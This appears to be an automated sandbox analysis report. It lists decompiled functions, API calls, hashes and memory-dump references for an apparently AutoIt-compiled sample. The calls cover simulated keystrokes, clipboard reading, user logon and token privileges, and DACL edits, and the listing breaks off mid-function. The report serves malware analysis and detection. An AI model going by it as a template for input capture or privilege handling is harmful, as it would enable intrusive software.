Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction ID: 1afbf4dfa71ec8e30fa5405f9498529d1f6b1213b310a9e4ed7711af7fb305eb
Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction Fuzzy Hash: 38012B722047586BE3228E669845A5AFBECFB89370F25061DF184872C0E670AC05C674

Function 003DE602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: eece579f230a2572c80ba4fb820def382e8d5fd2ae32eacac85b84ce45523cac
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 39F02833510A24AAC7333A6ABC05B5B3B9C9F52334F11071BF4259F7D2DB74E80286A5

Function 003E4C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,003B1129,00000000,?,003E2E29,00000001,00000364,?,?,?,003DF2DE,003E3863,00481444,?,003CFDF5,?), ref: 003E4CBE

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f73d22e5a116f13dc8ebe9cf89eb4536250d0889366b93950f2e6aeb1d148438
Instruction ID: b593aef5a0834cf771790e5c1e7dbd159e39f9748442fb2c3ae9f01dd1499bdb
Opcode Fuzzy Hash: f73d22e5a116f13dc8ebe9cf89eb4536250d0889366b93950f2e6aeb1d148438
Instruction Fuzzy Hash: FEF0E03254317477DB235F639C05B5A374CBF45760B358726BC159B6D0CA30D80187D0

Function 003E3820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00481444,?,003CFDF5,?,?,003BA976,00000010,00481440,003B13FC,?,003B13C6,?,003B1129), ref: 003E3852

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d6d609f099472db8b7c580f37dd3ad779cd08c5d36bff757f88410d9a0725986
Instruction ID: 069bf0430844948f7b83245876658e81ff1fb7b9a30a7741a7aa2db74f4d1def
Opcode Fuzzy Hash: d6d609f099472db8b7c580f37dd3ad779cd08c5d36bff757f88410d9a0725986
Instruction Fuzzy Hash: 2BE0E5321012B467EA332767AC09B9A374CAF827B0F060332BC05979D0CB20DD0582E1

Function 003B4F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00481418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 003B4F6D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: cf107c010bf11bb32d6307328c55e8dcc76fdd0a81b2ce879fd15ec5e06ce64a
Instruction ID: 8ed64607f97af6098f4eb02cf68d8142e26349733990fdbd920d6eab159d5f97
Opcode Fuzzy Hash: cf107c010bf11bb32d6307328c55e8dcc76fdd0a81b2ce879fd15ec5e06ce64a
Instruction Fuzzy Hash: D7F01571505752CFDB369F64E4908A2BBE4AF14329325897EE2EA87A22C7319844DF18

Function 00442A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00442A66

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: e502b73acb5ee4ef2f29ad934b3a0e8a5bbfe3987554919aaa54d24516405673
Instruction ID: 42b67713a530b08c63789045c535d02949704b590ea6c39efa488829cce1ded6
Opcode Fuzzy Hash: e502b73acb5ee4ef2f29ad934b3a0e8a5bbfe3987554919aaa54d24516405673
Instruction Fuzzy Hash: E9E02676360126AAD710EF31EC848FE734CEF60399740443BFC16D3100DB788A8282E8

Function 003B30F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 003B314E

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 60d7e539229280c4729c5e26a96b82de26e4a592ca4bafd546fd0cc307090f91
Instruction ID: e6954316e4186ee12fcbf257335b325c8ebaefb99fc052ba42e881fd7d3c6349
Opcode Fuzzy Hash: 60d7e539229280c4729c5e26a96b82de26e4a592ca4bafd546fd0cc307090f91
Instruction Fuzzy Hash: 1BF037709143149FE7539B24DC467DA7BBCAB0170CF0400FAA64896291D7745789CF55

Function 003B2DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 003B2DC4

Part of subcall function 003B6B57: _wcslen.LIBCMT ref: 003B6B6A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 955b6c5fce18a2255230627d3f4fcc89513ed6f53efa284e3ed7f98bc172224c
Instruction ID: 71a4ad835b08abcee115a7c458769d291bff46d53740fb6d726d1a74741357e9
Opcode Fuzzy Hash: 955b6c5fce18a2255230627d3f4fcc89513ed6f53efa284e3ed7f98bc172224c
Instruction Fuzzy Hash: C6E0CD76A012245BC711D3599C06FEA77EDDFC8790F0401B1FE09D7248D9A4AD808550

Function 003B2B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003B3837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 003B3908

Part of subcall function 003BD730: GetInputState.USER32 ref: 003BD807

SetCurrentDirectoryW.KERNEL32(?), ref: 003B2B6B

Part of subcall function 003B30F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 003B314E

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 992e4422dc91c65e33952dd9a8746f2d9b1a72a3b69772379dfceb3882fb9f0b
Instruction ID: 6b248a1abfde2e6921d9468dd7b24281a816c2883f2f515e54278236a2ce1645
Opcode Fuzzy Hash: 992e4422dc91c65e33952dd9a8746f2d9b1a72a3b69772379dfceb3882fb9f0b
Instruction Fuzzy Hash: DEE0262130021406C606BB7498525EDA3598BD1719F00093FF3428B563CF24464A4312

Function 003F039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,003F0704,?,?,00000000,?,003F0704,00000000,0000000C), ref: 003F03B7

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6a24fcb4cb5217b7613d2f6c5e9e13423ecb0f937ec1a883d3d3f61b7dd131f0
Instruction ID: 9da5ec69ae25a5eaab4c2dda34db93682c5a715f1e98b3f337e189560d1e8892
Opcode Fuzzy Hash: 6a24fcb4cb5217b7613d2f6c5e9e13423ecb0f937ec1a883d3d3f61b7dd131f0
Instruction Fuzzy Hash: 20D06C3204010DBBDF028F84DD46EDA3BAAFB48714F014010BE1856020C732E821AB94

Function 003B1CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 003B1CBC

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 8eddf01fa3c6c3a29a33ff09aeee534ffc52c4a4ed1ef0e269e827c8d188cd01
Instruction ID: 4142dddbe8f2abdddf7d38843c9bbf0b0f3b89a7665409e7862b7f08c415c7f4
Opcode Fuzzy Hash: 8eddf01fa3c6c3a29a33ff09aeee534ffc52c4a4ed1ef0e269e827c8d188cd01
Instruction Fuzzy Hash: 49C09B352C0314BFF2154780FD4AF587754A348B00F044415F709555F3C3F11410D758

Non-executed Functions

Function 00449576 Relevance: 75.9, APIs: 39, Strings: 4, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0044961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0044965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0044969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 004496C9
SendMessageW.USER32 ref: 004496F2
GetKeyState.USER32(00000011), ref: 0044978B
GetKeyState.USER32(00000009), ref: 00449798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 004497AE
GetKeyState.USER32(00000010), ref: 004497B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 004497E9
SendMessageW.USER32 ref: 00449810
SendMessageW.USER32(?,00001030,?,00447E95), ref: 00449918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0044992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00449941
SetCapture.USER32(?), ref: 0044994A
ClientToScreen.USER32(?,?), ref: 004499AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 004499BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 004499D6
ReleaseCapture.USER32 ref: 004499E1
GetCursorPos.USER32(?), ref: 00449A19
ScreenToClient.USER32(?,?), ref: 00449A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 00449A80
SendMessageW.USER32 ref: 00449AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00449AEB
SendMessageW.USER32 ref: 00449B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00449B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00449B4A
GetCursorPos.USER32(?), ref: 00449B68
ScreenToClient.USER32(?,?), ref: 00449B75
GetParent.USER32(?), ref: 00449B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 00449BFA
SendMessageW.USER32 ref: 00449C2B
ClientToScreen.USER32(?,?), ref: 00449C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00449CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00449CDE
SendMessageW.USER32 ref: 00449D01
ClientToScreen.USER32(?,?), ref: 00449D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00449D82

Part of subcall function 003C9944: GetWindowLongW.USER32(?,000000EB), ref: 003C9952

GetWindowLongW.USER32(?,000000F0), ref: 00449E05

Strings

@GUI_DRAGID, xrefs: 0044997D
8Y, xrefs: 00449728, 00449894, 004498B7, 004498EF, 00449A3C, 00449BB7, 00449C5E, 00449C8E, 00449D2C, 00449D58, 00449DA1, 00449DF2, 00449E16, 00449E40
F, xrefs: 00449D07
p#H, xrefs: 00449990

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: 8Y$@GUI_DRAGID$F$p#H
API String ID: 3429851547-3631521954
Opcode ID: e2c4b29eccb904c086da3cc8eace782eb01e5ef8383caf636d704636c6a85ce8
Instruction ID: 82da44f5e9bf04558232d1a7ce4a2ede6629ad1e7a89bacef4062451d746aa13
Opcode Fuzzy Hash: e2c4b29eccb904c086da3cc8eace782eb01e5ef8383caf636d704636c6a85ce8
Instruction Fuzzy Hash: 8D429A74204201AFE721CF24CC85EABBBE5EF49310F154A2AF699872A1D735AC51EF49

Function 003CF98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 003CF998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0040F474
IsIconic.USER32(00000000), ref: 0040F47D
ShowWindow.USER32(00000000,00000009), ref: 0040F48A
SetForegroundWindow.USER32(00000000), ref: 0040F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0040F4AA
GetCurrentThreadId.KERNEL32 ref: 0040F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0040F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 0040F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0040F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 0040F4DE
SetForegroundWindow.USER32(00000000), ref: 0040F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 0040F4F6
keybd_event.USER32(00000012,00000000), ref: 0040F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 0040F50B
keybd_event.USER32(00000012,00000000), ref: 0040F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 0040F519
keybd_event.USER32(00000012,00000000), ref: 0040F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 0040F528
keybd_event.USER32(00000012,00000000), ref: 0040F52D
SetForegroundWindow.USER32(00000000), ref: 0040F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 0040F557

Strings

Shell_TrayWnd, xrefs: 0040F46F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: d414bb194d77353bd45d476bfcf7d550b9389a5c36906a90a36136488ca1d1d5
Instruction ID: 075979b92febc2242994b4523b53f190aa478b5b45d1d04242018c182ac9a0b3
Opcode Fuzzy Hash: d414bb194d77353bd45d476bfcf7d550b9389a5c36906a90a36136488ca1d1d5
Instruction Fuzzy Hash: B3316375A41228BBEB306BB55C8AFBF7E6CEB45B50F150036FA00F61D1C6B45D00AA69

Function 00411201 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 004116C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0041170D
Part of subcall function 004116C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0041173A
Part of subcall function 004116C3: GetLastError.KERNEL32 ref: 0041174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 00411286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 004112A8
CloseHandle.KERNEL32(?), ref: 004112B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004112D1
GetProcessWindowStation.USER32 ref: 004112EA
SetProcessWindowStation.USER32(00000000), ref: 004112F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00411310

Part of subcall function 004110BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,004111FC), ref: 004110D4
Part of subcall function 004110BF: CloseHandle.KERNEL32(?,?,004111FC), ref: 004110E9

Strings

, xrefs: 0041125A
default, xrefs: 0041130B
winsta0, xrefs: 004112CC
ZG, xrefs: 00411392

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0$ZG
API String ID: 22674027-460506031
Opcode ID: f34fd29360ec9573effdd12012f497380d80b1fe00a07be711aafb1d00ca3abd
Instruction ID: fe5a101ffb5bd38c4c0431c04b6f00887eac7c3d5a969882764838f697957df1
Opcode Fuzzy Hash: f34fd29360ec9573effdd12012f497380d80b1fe00a07be711aafb1d00ca3abd
Instruction Fuzzy Hash: 6181B371900209AFDF119FA4DC49FEF7BB9EF05704F18412AFA10E62A0D7798984CB29

Function 00410B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004110F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00411114
Part of subcall function 004110F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00410B9B,?,?,?), ref: 00411120
Part of subcall function 004110F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00410B9B,?,?,?), ref: 0041112F
Part of subcall function 004110F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00410B9B,?,?,?), ref: 00411136
Part of subcall function 004110F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0041114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00410BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00410C00
GetLengthSid.ADVAPI32(?), ref: 00410C17
GetAce.ADVAPI32(?,00000000,?), ref: 00410C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00410C6D
GetLengthSid.ADVAPI32(?), ref: 00410C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00410C8C
HeapAlloc.KERNEL32(00000000), ref: 00410C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00410CB4
CopySid.ADVAPI32(00000000), ref: 00410CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00410CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00410D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00410D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00410D45
HeapFree.KERNEL32(00000000), ref: 00410D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00410D55
HeapFree.KERNEL32(00000000), ref: 00410D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00410D65
HeapFree.KERNEL32(00000000), ref: 00410D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00410D78
HeapFree.KERNEL32(00000000), ref: 00410D7F

Part of subcall function 00411193: GetProcessHeap.KERNEL32(00000008,00410BB1,?,00000000,?,00410BB1,?), ref: 004111A1
Part of subcall function 00411193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00410BB1,?), ref: 004111A8
Part of subcall function 00411193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00410BB1,?), ref: 004111B7

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: c2402458dfbc2bead8a552587e71a81cadd263c084dabd5387e6eeb9c0acf3b1
Instruction ID: 5db205183cd3beb32c538a7d610ee70a8240144d86469231892f9513a23729e4
Opcode Fuzzy Hash: c2402458dfbc2bead8a552587e71a81cadd263c084dabd5387e6eeb9c0acf3b1
Instruction Fuzzy Hash: AD716F7590120AABDF10DFE4DD84BEFBBB8BF05300F044526E914A7251D7B9A985CF64

Function 0042EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0044CC08), ref: 0042EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 0042EB37
GetClipboardData.USER32(0000000D), ref: 0042EB43
CloseClipboard.USER32 ref: 0042EB4F
GlobalLock.KERNEL32(00000000), ref: 0042EB87
CloseClipboard.USER32 ref: 0042EB91
GlobalUnlock.KERNEL32(00000000), ref: 0042EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 0042EBC9
GetClipboardData.USER32(00000001), ref: 0042EBD1
GlobalLock.KERNEL32(00000000), ref: 0042EBE2
GlobalUnlock.KERNEL32(00000000), ref: 0042EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 0042EC38
GetClipboardData.USER32(0000000F), ref: 0042EC44
GlobalLock.KERNEL32(00000000), ref: 0042EC55
